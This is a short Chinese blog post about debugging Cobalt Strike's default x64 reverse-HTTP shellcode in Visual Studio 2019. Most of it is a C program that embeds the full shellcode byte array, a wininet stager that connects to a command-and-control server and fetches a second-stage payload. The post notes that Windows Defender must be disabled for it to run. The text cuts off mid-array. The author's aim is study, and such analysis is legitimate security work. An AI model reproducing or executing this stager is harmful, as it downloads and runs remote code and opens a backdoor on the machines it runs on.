vs2019 调试shellcode小坑

研究cs的默认shellcode，有几个固定地址转跳没搞明白，上动态调试，然后两个小坑，水一水
使用cs的反弹http监听生成c的x64 shellcode（没做免杀需要关Windows Defender）
因为没下clang，不支持内联汇编，所以用强制类型转换
简单粗暴

#include <stdio.h>
#include <windows.h>
int main() {
   
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x69\x58\x47\x55\x00\x93\x11\x94\x60\x5b\xd9\xbc\x77\x3a\xef\x4d\x2a\xc6\xeb\xdb\x75\x4f\x65\x20\xdc\xe7\x11\x7d\xa3\xbf\x79\x29\x7e\xaf\xa7\x15\x5d\x41\x8f\xc6\xe8\x41\xe8\xfa\x63\x7d\x3e\xb7\x80\xc8\xb8\xee\x0f\x3f\x2e\x5e\xd3\xa4\xd6\xf2\x7d\x81\x27\xa9\x62\x60\x8a\xf2\xd0\x26\xfc\xfc\x39\xce\xd7\xb6\xc1\x62\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x29\x0d\x0a\x00\x95\x3e\x4c\x89\xac\xbe\xab\x8a\xf9\x97\xdb\xee\xf4\x03\xb2\x62\xe0\x68\x0b\xe3\x86\x92\xa8\x91\x1f\x9a\xd7\xb2\xdf\x03\x69\xae\x3c\x45\x4b\xd1\xf4\x74\x54\xb2\x66\xfe\x43\xe3\x03\x4e\xee\x82\x82\xc3\x77\x75\x3f\x6a\xa5\x5e\x0f\x54\x13\x1a\x88\xca\xec\x4c\x16\xd4\x23\x71\x88\x13\xaf\x5f\x33\xce\x26\xac\x79\xfb\x77\x53\xd7\xe8\x1d\xc7\xec\xe1\x93\x09\x33\x19\x5e\x5e\x56\x7e\x6e\x11\x49\x01\x3d\x35\xdc\x46\xd9\x2f\xac\x24\x4b\x81\x34\x11\xaa\x21\xcb\xd8\x8e\xd2\xac\xac\x13\x48\xdd\xdb\x7e\x85\xf0\xf7\x63\x5a\xeb\x6b\x80\xc3\x46\x01\x2d\x4